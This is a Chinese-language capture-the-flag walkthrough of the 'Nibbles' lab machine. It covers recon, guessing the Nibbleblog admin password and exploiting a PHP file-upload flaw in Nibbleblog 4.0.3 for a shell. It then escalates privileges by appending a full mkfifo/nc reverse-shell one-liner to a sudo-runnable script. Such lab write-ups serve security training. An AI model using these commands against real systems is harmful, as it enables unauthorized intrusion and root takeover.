1 信息收集
NMAP

80 端口

网站出了打印出“Hello world!”外,无其他可利用信息,但是查看网页源代码时,发现存在一个 /nibbleblog 文件夹

检查了 http://10.129.140.63/nibbleblog/ ,发现了 /index.php、/feed.php,没有其他可利用的信息

目录扫描

1. /content 目录


2. /admin.php 目录

用户名:admin,爆破密码:nibbles,登录后页面如下

3. /README 目录
发现Nibbleblog CMS 的版本号为:4.0.3

2 Nibbleblog 漏洞利用

Nibbleblog 4.0.3 代码执行漏洞原理
当通过 My image 插件上传图片文件时,NibbleBlog 4.0.3 会保留上传文件的原始扩展名。不会检查此扩展名或实际文件类型,因此可以上传 PHP 文件并获得代码执行。
手工验证

上传文件路径为:http://10.129.140.63/nibbleblog/content/private/plugins/my_image/image.php,访问 image.php,并忽略报错。ncat 监听到一个shell。


PTY Shell


3 权限提升
SUDO 提权
sudo -l

检查 :/home/nibbler/personal/stuff/monitor.sh 文件
nibbler@Nibbles:/home/nibbler$ ls -ll
ls -ll
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 May 30 01:40 user.txtnibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zipcreating: personal/creating: personal/stuff/inflating: personal/stuff/monitor.sh nibbler@Nibbles:/home/nibbler$ cd personal/stuff
cd personal/stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -ll
ls -ll
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh##################################################################################################### Tecmint_monitor.sh ## Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ ## If any bug, report us in the link below ## Free to use/edit/distribute the code below by ## giving proper credit to Tecmint.com and Author ## #####################################################################################################
文件可写,可以将shell文件写入monitor.sh文件中
nibbler@Nibbles:/home/nibbler/personal/stuff$
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 4444 > /tmp/f" >> monitor.shnibbler@Nibbles:/home/nibbler/personal/stuff$
sudo /home/nibbler/personal/stuff/monitor.sh

